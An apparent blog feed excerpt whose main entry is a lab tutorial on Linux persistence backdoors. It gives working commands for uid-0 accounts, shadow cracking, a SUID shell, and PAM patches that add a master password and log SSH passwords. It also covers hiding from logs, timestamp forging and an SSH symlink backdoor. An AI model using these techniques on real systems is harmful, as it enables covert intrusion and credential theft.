&lt;li class=&#34;task-list-item&#34;&gt;&lt;input type=&#34;checkbox&#34; id=&#34;cbx_8&#34; disabled=&#34;true&#34; /&gt;&lt;label for=&#34;cbx_8&#34;&gt; &lt;strong&gt;Subtitle translation.&lt;/strong&gt; I could integrate a translation service with Windows Live Captions. That would mean working with both the Windows API and the translation service’s API. I found &lt;a href=&#34;https://github.com/SakiRinn/LiveCaptions-Translator&#34;&gt;SakiRinn/LiveCaptions-Translator&lt;/a&gt; on GitHub. When I tried it, quite a few things didn’t work as well as I’d hoped. There might be something I can improve there.&lt;/label&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
        <updated>2024-11-05T03:22:07.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/cybersecurity/linux-backdoor/linux-backdoors-part-1/</id>
        <title>Linux Backdoors, Part 1</title>
        <link rel="alternate" href="https://www.sycamore.top/en/cybersecurity/linux-backdoor/linux-backdoors-part-1/"/>
        <content type="html">&lt;div class=&#34;note primary&#34;&gt;
&lt;p&gt;I wrote up the environment separately in &lt;a href=&#34;/en/cybersecurity/linux-backdoor/setting-up-the-linux-backdoor-lab/&#34;&gt;Setting up the Linux lab&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;After gaining control of a server, an intruder may leave scripts, processes or links for continued access. These are called &lt;strong&gt;backdoors&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This part covers several examples on Linux:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Additional user accounts&lt;/li&gt;
&lt;li&gt;Password cracking&lt;/li&gt;
&lt;li&gt;A set-user-ID shell&lt;/li&gt;
&lt;li&gt;PAM backdoors&lt;/li&gt;
&lt;li&gt;SSH symlinks&lt;br /&gt;
…&lt;/li&gt;
&lt;/ul&gt;
&lt;span id=&#34;增加用户账号&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;add-user-accounts&#34; data-section=&#34;增加用户账号&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#add-user-accounts&#34;&gt;#&lt;/a&gt; Add user accounts&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Prerequisite:&lt;/strong&gt; You already have a shell and root privileges on the server.&lt;/p&gt;
&lt;span id=&#34;uid0用户可远程登陆&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;users-with-uid0-can-log-in-remotely&#34; data-section=&#34;uid0用户可远程登陆&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#users-with-uid0-can-log-in-remotely&#34;&gt;#&lt;/a&gt; Users with uid=0 can log in remotely&lt;/h3&gt;
&lt;p&gt;You can add a &lt;strong&gt;superuser account&lt;/strong&gt; using the following command:&lt;br /&gt;
 &lt;code&gt;echo &amp;quot;username:x:0:0::/:/bin/sh&amp;quot; &amp;gt;&amp;gt; /etc/passwd&lt;/code&gt; &lt;br /&gt;
Then, use the command  &lt;code&gt;passwd username&lt;/code&gt;  to change the password of the superuser.&lt;/p&gt;
&lt;span id=&#34;实现&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;trying-the-account&#34; data-section=&#34;实现&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#trying-the-account&#34;&gt;#&lt;/a&gt; Trying the account&lt;/h4&gt;
&lt;p&gt;Enter the command:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696445/Typora/2024/10/a0f37b7036c0a7b07b57165d34510dc9.png&#34; alt=&#34;image-20241013005018227&#34; /&gt;&lt;br /&gt;
(Added super user backdoor)&lt;br /&gt;
Then log in to the backdoor account via SSH:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696448/Typora/2024/10/a74b221974a59bbf958dea2d1d49823f.png&#34; alt=&#34;image-20241013005025313&#34; /&gt;&lt;br /&gt;
As you can see, I already have root privileges:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696448/Typora/2024/10/2523b36be81cd6a668b416a6bbf6ca66.png&#34; alt=&#34;image-20241013005032317&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Principle: Add an account with &lt;strong&gt;ID 0&lt;/strong&gt; to the server (because the &lt;strong&gt;root&lt;/strong&gt; ID is 0).&lt;br /&gt;
We can open passwd using the command  &lt;code&gt;vim /etc/passwd&lt;/code&gt; , where all the mappings between usernames and IDs are stored.&lt;br /&gt;
The first entry belongs to root.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696449/Typora/2024/10/8c6aa69ccdebdd7b75bfaddbc6d434d4.png&#34; alt=&#34;The root entry at the top of /etc/passwd&#34; /&gt;&lt;/p&gt;
&lt;p&gt;At the end of the file is the account I just added,  &lt;code&gt;backdoor&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696449/Typora/2024/10/198980bd4423bb1cd26fcb757cbea990.png&#34; alt=&#34;The new account at the end of /etc/passwd&#34; /&gt;&lt;/p&gt;
&lt;p&gt;An administrator can disable remote SSH login for accounts with UID 0. Make sure you have a regular account first so you can still log in.&lt;/p&gt;
&lt;p&gt;Open the sshd_config file using  &lt;code&gt;vim /etc/ssh/sshd_config&lt;/code&gt; .&lt;br /&gt;
Find  &lt;code&gt;PermitRootLogin&lt;/code&gt;  and change it to no.&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696451/Typora/2024/10/fd0d61d6e7b7879eb2ea1d5f0de03dd5.png&#34; alt=&#34;The PermitRootLogin setting in sshd_config&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Then restart the SSH service.&lt;br /&gt;
At this point, attempting to remotely log in to the root account via xshell will be denied.&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696452/Typora/2024/10/d70b4faf22b9b537f1bbe6bb7f20d1f3.png&#34; alt=&#34;image-20241013005101801&#34; /&gt;&lt;/p&gt;
&lt;p&gt;If you encounter a situation where remote login for the uid=0 account is disabled, you can also add a &lt;strong&gt;regular user&lt;/strong&gt;:&lt;br /&gt;
 &lt;code&gt;echo &amp;quot;username:x:1000:1000::/:/bin/sh&amp;quot; &amp;gt;&amp;gt; /etc/passwd&lt;/code&gt; &lt;br /&gt;
The principle is the same; as we can observe, the ID of a regular user we use is 1000.&lt;/p&gt;
&lt;span id=&#34;无交互情况下添加账户&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;adding-an-account-without-interaction&#34; data-section=&#34;无交互情况下添加账户&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#adding-an-account-without-interaction&#34;&gt;#&lt;/a&gt; Adding an account without interaction&lt;/h3&gt;
&lt;p&gt;The different vulnerabilities exploited can lead to situations where attackers face no interactive functionality or no feedback.&lt;br /&gt;
In this situation, the first two methods are difficult to use, so the following method is given first:&lt;/p&gt;
&lt;p&gt;The commands  &lt;code&gt;useradd username -u 0 -o -g root -G root&lt;/code&gt;  and  &lt;code&gt;echo &amp;quot;password&amp;quot; | passwd --stdin username&lt;/code&gt;  are used.&lt;br /&gt;
If the server is based on &lt;strong&gt;Debian&lt;/strong&gt;, meaning the  &lt;code&gt;--stdin&lt;/code&gt;  command cannot be used, the second command should be  &lt;code&gt;echo username:password | chpasswd&lt;/code&gt; , or simply use  &lt;code&gt;\n&lt;/code&gt;  followed by Enter (because  &lt;code&gt;passwd&lt;/code&gt;  requires the password to be entered &lt;strong&gt;twice&lt;/strong&gt;):  &lt;code&gt;echo &amp;quot;password\npassword&amp;quot; | passwd username&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First command: Use the  &lt;code&gt;useradd&lt;/code&gt;  command to add a user. The  &lt;code&gt;-u&lt;/code&gt;  option sets the user ID to 0 (root user), and  &lt;code&gt;-g&lt;/code&gt;  and  &lt;code&gt;-G&lt;/code&gt;  set the primary and supplementary groups to root. If remote root login is disabled, adjust the account parameters accordingly.&lt;/li&gt;
&lt;li&gt;Second command: Add password (Newly created users in Linux are locked and need to be set with a password using the passwd command before they can be used).&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;However, this method of adding user accounts can be easily detected by administrators.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;span id=&#34;破解用户密码&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;cracking-user-passwords&#34; data-section=&#34;破解用户密码&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#cracking-user-passwords&#34;&gt;#&lt;/a&gt; Cracking User Passwords&lt;/h2&gt;
&lt;p&gt;If we obtain some users&#39; passwords, we can naturally log in directly next time.&lt;/p&gt;
&lt;p&gt;Linux stores user information in the passwd file, but the passwd file can be read by &lt;strong&gt;all users&lt;/strong&gt;. Therefore, if user passwords are also stored in passwd, it will lead to &lt;strong&gt;password leakage&lt;/strong&gt;.&lt;br /&gt;
Therefore, Linux stores password information &lt;strong&gt;separately&lt;/strong&gt; in the shadow file. Only the root user has read permissions for the shadow file; other users have &lt;strong&gt;no permissions&lt;/strong&gt;, thus ensuring password security.&lt;/p&gt;
&lt;p&gt;However, if you obtain the shadow file ( &lt;code&gt;/etc/shadow&lt;/code&gt; ), you will see that the password inside looks like this:&lt;br /&gt;
The image shown (&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696453/Typora/2024/10/ee471def5fbcc8ec8666e76bd4403e8d.png&#34; alt=&#34;image-20241013005115328&#34; /&gt;) is of course the hash value of the password; it won&#39;t let you see the plaintext of the password directly.&lt;/p&gt;
&lt;p&gt;However, for weak passwords, we can crack them using the &lt;strong&gt;John the Ripper&lt;/strong&gt; weak password scanner (built into Kali Linux). The usage is as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use the  &lt;code&gt;unshadow&lt;/code&gt;  command to combine  &lt;code&gt;passwd&lt;/code&gt;  and  &lt;code&gt;shadow&lt;/code&gt;  to get  &lt;code&gt;test&lt;/code&gt; :  &lt;code&gt;unshadow /etc/passwd /etc/shadow &amp;gt; test&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Dictionary cracking: Using the built-in dictionary (usr/share/john/password.lst): Command  &lt;code&gt;john test&lt;/code&gt; &lt;br /&gt;
Use your own dictionary: command  &lt;code&gt;john --wordlist=dictionary_path test&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;span id=&#34;放置suid-shell&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;place-suid-shell&#34; data-section=&#34;放置suid-shell&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#place-suid-shell&#34;&gt;#&lt;/a&gt; Place SUID Shell&lt;/h2&gt;
&lt;p&gt;Prerequisite: Root access to the server has been obtained (get shell).&lt;/p&gt;
&lt;p&gt;SUID Shell is a shell that &lt;strong&gt;can run with the privileges of the shell owner&lt;/strong&gt;.&lt;br /&gt;
This backdoor essentially modifies the attributes (rwsr-xr-x) of the shell owned by root.&lt;/p&gt;
&lt;span id=&#34;命令&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;commands&#34; data-section=&#34;命令&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#commands&#34;&gt;#&lt;/a&gt; Commands&lt;/h3&gt;
&lt;p&gt;Execute commands as root:&lt;br /&gt;
 &lt;code&gt;cp /bin/bash .shell&lt;/code&gt; &lt;br /&gt;
 &lt;code&gt;chmod u+s .shell&lt;/code&gt; &lt;br /&gt;
What the two commands do:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Copy /bin/bash to a file named .shell in the current directory.&lt;/li&gt;
&lt;li&gt;After changing the permissions of the .shell file to u+s, other users will &lt;strong&gt;have the permissions of the file owner&lt;/strong&gt; (while the current user is &lt;strong&gt;root&lt;/strong&gt;, meaning they have root privileges).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The next time you log in to the server as a regular user, you can use the command  &lt;code&gt;/.shell&lt;/code&gt;  to run this shell and thus gain &lt;strong&gt;root&lt;/strong&gt; privileges.&lt;br /&gt;
However, bash2 has implemented some &lt;strong&gt;protection measures&lt;/strong&gt; for SUID shells, so if you use the above command to run a .shell, the shell&#39;s privileges can only be elevated to root if you are &lt;strong&gt;local&lt;/strong&gt; (not connected remotely). If you are running it remotely, the original privileges will remain unchanged.&lt;/p&gt;
&lt;p&gt;In this situation, you need to use the command:  &lt;code&gt;/.shell -p&lt;/code&gt; , which will grant you root shell access remotely.&lt;/p&gt;
&lt;span id=&#34;实现-2&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;lab-procedure&#34; data-section=&#34;实现-2&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#lab-procedure&#34;&gt;#&lt;/a&gt; Lab procedure&lt;/h3&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696453/Typora/2024/10/7f3bd66ffe0223053f8eec312efe1e52.png&#34; alt=&#34;image-20241013005121969&#34; /&gt;&lt;br /&gt;
 &lt;code&gt;whoami&lt;/code&gt;  returned  &lt;code&gt;root&lt;/code&gt; .&lt;/p&gt;
&lt;span id=&#34;pam后门&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;pam-backdoor&#34; data-section=&#34;pam后门&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#pam-backdoor&#34;&gt;#&lt;/a&gt; PAM Backdoor&lt;/h2&gt;
&lt;span id=&#34;pam简介&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;introduction-to-pam&#34; data-section=&#34;pam简介&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#introduction-to-pam&#34;&gt;#&lt;/a&gt; Introduction to PAM:&lt;/h3&gt;
&lt;p&gt;In Linux, certain programs require authentication of the user who started them before execution, such as the commonly used &lt;strong&gt;su&lt;/strong&gt; command.&lt;br /&gt;
However, in actual work, we often have to use &lt;strong&gt;different authentication mechanisms&lt;/strong&gt; to authenticate the accounts and passwords of different programs, which results in a single host having multiple &lt;strong&gt;different authentication systems&lt;/strong&gt;, which is obviously unreasonable.&lt;br /&gt;
Therefore, the &lt;strong&gt;PAM mechanism&lt;/strong&gt; was developed. &lt;strong&gt;PAM&lt;/strong&gt; can be described as an &lt;strong&gt;API&lt;/strong&gt; that allows administrators to freely choose the authentication method for a program.&lt;br /&gt;
PAM uses configuration files located in the directory  &lt;code&gt;/etc/pam.d/&lt;/code&gt; , which correspond to different authentication methods. The program calls the corresponding configuration file in the directory, thereby invoking the local authentication module ( &lt;code&gt;/lib/security/&lt;/code&gt; ).&lt;/p&gt;
&lt;span id=&#34;后门思路&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;how-the-backdoor-works&#34; data-section=&#34;后门思路&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#how-the-backdoor-works&#34;&gt;#&lt;/a&gt; How the backdoor works&lt;/h3&gt;
&lt;p&gt;When we log in, we also use the PAM module to verify whether our password is correct.&lt;br /&gt;
Therefore, we can find the traditional password verification module (pam_unix.so) of &lt;strong&gt;PAM&lt;/strong&gt; in the source code, &lt;strong&gt;modify the verification logic of PAM&lt;/strong&gt;, and achieve the effect of &lt;strong&gt;directly returning a correct verification result instead of checking the password in the shadow&lt;/strong&gt;.&lt;br /&gt;
Then compile a &lt;strong&gt;.so file containing the backdoor&lt;/strong&gt; and replace the original module.&lt;/p&gt;
&lt;span id=&#34;实现-3&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;lab-procedure-2&#34; data-section=&#34;实现-3&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#lab-procedure-2&#34;&gt;#&lt;/a&gt; Lab procedure&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Use the script directly: &lt;a href=&#34;https://github.com/litsand/shell/blob/master/pam.sh&#34;&gt;https://github.com/litsand/shell/blob/master/pam.sh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Manual Change&lt;/li&gt;
&lt;/ol&gt;
&lt;span id=&#34;下载pam源码&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;download-pam-source-code&#34; data-section=&#34;下载pam源码&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#download-pam-source-code&#34;&gt;#&lt;/a&gt; Download PAM source code&lt;/h4&gt;
&lt;p&gt;First, confirm the PAM version:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Debian:  &lt;code&gt;dpkg -s libpam-modules | grep -i version | cut -d&#39; &#39; -f2&lt;/code&gt; &lt;br /&gt;
CentOS:  &lt;code&gt;rpm -qa|grep pam&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using my Kali Linux instance as an example, the command  &lt;code&gt;dpkg -s libpam-modules | grep -i version | cut -d&#39; &#39; -f2&lt;/code&gt;  outputs: &lt;strong&gt;1.4.0-11&lt;/strong&gt;&lt;br /&gt;
Go to &lt;a href=&#34;http://www.linux-pam.org/library/&#34;&gt;http://www.linux-pam.org/library/&lt;/a&gt; or the stable version release address on GitHub &lt;a href=&#34;https://github.com/linux-pam/linux-pam/releases&#34;&gt;https://github.com/linux-pam/linux-pam/releases&lt;/a&gt; to download the source code for your version.&lt;br /&gt;
&lt;strong&gt;Download:&lt;/strong&gt;  &lt;code&gt;wget https://github.com/linux-pam/linux-pam/releases/download/v1.4.0/Linux-PAM-1.4.0.tar.xz&lt;/code&gt; &lt;br /&gt;
&lt;strong&gt;Uncompress:&lt;/strong&gt;  &lt;code&gt;tar -xvf Linux-PAM-1.4.0.tar.xz&lt;/code&gt;&lt;/p&gt;
&lt;span id=&#34;修改源码&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;modify-source-code&#34; data-section=&#34;修改源码&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#modify-source-code&#34;&gt;#&lt;/a&gt; Modify source code&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Effect 1: Adding a custom password:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Modify the file  &lt;code&gt;/modules/pam_unix/pam_unix_auth.c&lt;/code&gt;  in the extracted directory:&lt;br /&gt;
Add the following line below line 173:  &lt;code&gt;if (strcmp(p,&amp;quot;password&amp;quot;)==0) &amp;#123;return PAM_SUCCESS;&amp;#125;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696456/Typora/2024/10/34fdc632b2e79b17065c6ee808b2095f.png&#34; alt=&#34;image-20241013005137550&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The code is very simple: when the input &#39;p&#39; matches the &amp;quot;password&amp;quot; we set, it returns a successful verification result.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Build the module:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ensure that the &lt;strong&gt;gcc compiler&lt;/strong&gt; and &lt;strong&gt;flex library&lt;/strong&gt; are installed.&lt;br /&gt;
The &lt;strong&gt;compilation&lt;/strong&gt; command is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd Linux-PAM-1.4.0
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To prevent the modified .so file from being incorrect, first find the original file and &lt;strong&gt;make a backup&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;The command  &lt;code&gt;find / -name &amp;quot;pam_unix.so&amp;quot;&lt;/code&gt;  (finds the original file address)&lt;br /&gt;
The original file is located at: /usr/lib/x86_64-linux-gnu/security/pam_unix.so&lt;br /&gt;
The compiled &lt;strong&gt;new file&lt;/strong&gt; is located at: &lt;strong&gt;root/Linux-PAM-1.4.0/modules/pam_unix/.libs/pam_unix.so&lt;/strong&gt;&lt;br /&gt;
 &lt;code&gt;cp /usr/lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak&lt;/code&gt;  (Backup file is located at /tmp/pam_unix.so.bak)&lt;br /&gt;
 &lt;code&gt;cp /root/Linux-PAM-1.4.0/modules/pam_unix/.libs/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so&lt;/code&gt;  (Copy the new .so file, overwriting the original file)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Try logging in with the password you set:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(Note that an existing account is required to log in)  &lt;code&gt;ssh existing_username@192.168.158.128&lt;/code&gt; &lt;br /&gt;
Successfully logged in as root using the custom password &lt;strong&gt;hello&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696457/Typora/2024/10/8fa2af1fefbe5dab45f472a0e29e89b9.png&#34; alt=&#34;image-20241013005144666&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Shortcomings &amp;amp; Improvements:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If you are an administrator, &lt;strong&gt;view the login logs&lt;/strong&gt;:&lt;br /&gt;
To view the last 10 log entries in real time, use  &lt;code&gt;tail -f -n 10 /var/log/auth.log&lt;/code&gt;  (depending on the specific situation, the log may also be /var/log/secure). &lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696457/Typora/2024/10/69c6d32a187e72672948a797b8239c8a.png&#34; alt=&#34;image-20241013005149260&#34; /&gt;&lt;br /&gt;
The first log entry is from logging in with the &lt;strong&gt;correct password&lt;/strong&gt; via SSH, and the second log entry is from logging in with a &lt;strong&gt;custom password&lt;/strong&gt;.&lt;br /&gt;
As you can see, the second entry has one more line than the first: &lt;strong&gt;Verification failed report&lt;/strong&gt;.&lt;br /&gt;
This is because, on the line before we added the statement, we first used the &lt;strong&gt;_unix_verify_password&lt;/strong&gt; function for verification: &lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696457/Typora/2024/10/36756d8cdaf5be17fc933eb923916d51.png&#34; alt=&#34;image-20241013005201757&#34; /&gt;&lt;br /&gt;
Therefore, we can find the &lt;strong&gt;location&lt;/strong&gt; of the function _unix_verify_password, and insert the previous line of code before it verifies, thus &lt;strong&gt;avoiding password verification errors&lt;/strong&gt;.&lt;br /&gt;
Change the file path to Linux-PAM-1.4.0/modules/pam_unix/support.c, as shown in the image below: &lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696460/Typora/2024/10/206c7138eeede30e24a10e586daa7fcc.png&#34; alt=&#34;image-20241013005205935&#34; /&gt;&lt;br /&gt;
After recompiling and overwriting, log in remotely via SSH and check the logs: &lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696461/Typora/2024/10/0a3b87fb36dbc9ad01b198b4b7497f9a.png&#34; alt=&#34;image-20241013005213331&#34; /&gt;&lt;br /&gt;
As you can see, the third login produced the same log entries as the first.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the administrator is viewing the &lt;strong&gt;file modification time&lt;/strong&gt;:&lt;br /&gt;
You can use the  &lt;code&gt;touch -r&lt;/code&gt;  command to modify the time of a new file:&lt;br /&gt;
 &lt;code&gt;touch pam_unix.so -r /tmp/pam_unix.so.bak&lt;/code&gt;  (replace with the backup file&#39;s time)&lt;br /&gt;
The results of using the  &lt;code&gt;stat pam_unix.so*&lt;/code&gt;  command before and after the modification are shown below: &lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696461/Typora/2024/10/63ec0bad9935885af21524b174d934d7.png&#34; alt=&#34;image-20241013005217672&#34; /&gt;&lt;br /&gt;
(Only two items were changed, which may still be noticed by the administrator, but the -t option can be used to set the file&#39;s time recording.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Effect 2: Record passwords for users logging in via SSH:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Similarly, modify the file  &lt;code&gt;/modules/pam_unix/pam_unix_auth.c&lt;/code&gt;  in the extracted directory:&lt;br /&gt;
Add the following line below line 173, as shown in the image below:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696461/Typora/2024/10/e0996c17577375def40744fabaf69c5e.png&#34; alt=&#34;image-20241013005222756&#34; /&gt;&lt;br /&gt;
Each time a user logs in, the username (name) and password (p) are saved in the file /tmp/.record_pwd.&lt;/p&gt;
&lt;p&gt;Save -&amp;gt; Compile -&amp;gt; Overwrite -&amp;gt; Log in to the account several times via SSH with the correct password, providing the recorded data -&amp;gt; View the saved file:&lt;br /&gt;
 &lt;code&gt;cat /tmp/.record_pwd&lt;/code&gt; &lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696464/Typora/2024/10/c09d43ce405bdb94fdbbc667420539ad.png&#34; alt=&#34;image-20241013005227686&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;ssh软连接后门&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;ssh-symbolic-link-backdoor&#34; data-section=&#34;ssh软连接后门&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#ssh-symbolic-link-backdoor&#34;&gt;#&lt;/a&gt; SSH symbolic link backdoor&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Getshell, root privileges have been obtained on the server.&lt;/li&gt;
&lt;li&gt;PAM authentication is enabled in the SSH configuration (to verify if PAM is enabled:  &lt;code&gt;cat /etc/ssh/sshd_config|grep UsePAM&lt;/code&gt; ). It is usually enabled by default.&lt;/li&gt;
&lt;li&gt;The firewall is off, or the port number being used is open.&lt;/li&gt;
&lt;/ul&gt;
&lt;span id=&#34;原理&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;principle&#34; data-section=&#34;原理&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#principle&#34;&gt;#&lt;/a&gt; Principle:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Introduction to Symbolic Links:&lt;/strong&gt;&lt;br /&gt;
A symbolic link is a special type of file that points to another file location.&lt;br /&gt;
Symbolic links exist as paths, similar to shortcuts in the Windows operating system.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If PAM authentication is enabled in the SSH configuration, the PAM module will search for the relevant configuration file (usually located in  &lt;code&gt;/etc/pam.d/&lt;/code&gt; ).&lt;br /&gt;
The  &lt;code&gt;pam_rootok.so&lt;/code&gt;  module is enabled in the  &lt;code&gt;/etc/pam.d/su&lt;/code&gt;  file.&lt;br /&gt;
This module allows the root user to authenticate directly without needing to enter a password.&lt;br /&gt;
When the symbolic link file for the specified port is &lt;strong&gt;/path/su&lt;/strong&gt;, if an SSH connection is made from that port, &lt;strong&gt;PAM&lt;/strong&gt; will look for the corresponding configuration file in the path  &lt;code&gt;/etc/pam.d/&lt;/code&gt; , i.e.,  &lt;code&gt;/etc/pam.d/su&lt;/code&gt; .&lt;br /&gt;
Then, using the  &lt;code&gt;pam_rootok.so&lt;/code&gt;  module enabled in &lt;strong&gt;su&lt;/strong&gt;, passwordless login is achieved.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;span id=&#34;创建root账户&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;creating-a-root-account&#34; data-section=&#34;创建root账户&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#creating-a-root-account&#34;&gt;#&lt;/a&gt; Creating a root account&lt;/h3&gt;
&lt;p&gt;Create an SSH symbolic link:  &lt;code&gt;ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=port_number&lt;/code&gt;  (ensure the port number is valid)&lt;/p&gt;
&lt;p&gt;This command first uses  &lt;code&gt;ln&lt;/code&gt;  (-f) to force the creation of a symbolic link (-s) to the file  &lt;code&gt;/usr/sbin/sshd&lt;/code&gt; , and saves it as  &lt;code&gt;/usr/local/su&lt;/code&gt;  (&lt;strong&gt;the path is arbitrary&lt;/strong&gt;, &lt;strong&gt;the filename can be changed&lt;/strong&gt;). Then it links the su file (sshd) to the specified port.&lt;/p&gt;
&lt;p&gt;While the name of the created symbolic link can be changed, it &lt;strong&gt;cannot be named arbitrarily&lt;/strong&gt;. Available names can be viewed using the command:  &lt;code&gt;find /etc/pam.d|xargs grep &amp;quot;pam_rootok&amp;quot;&lt;/code&gt; .&lt;br /&gt;
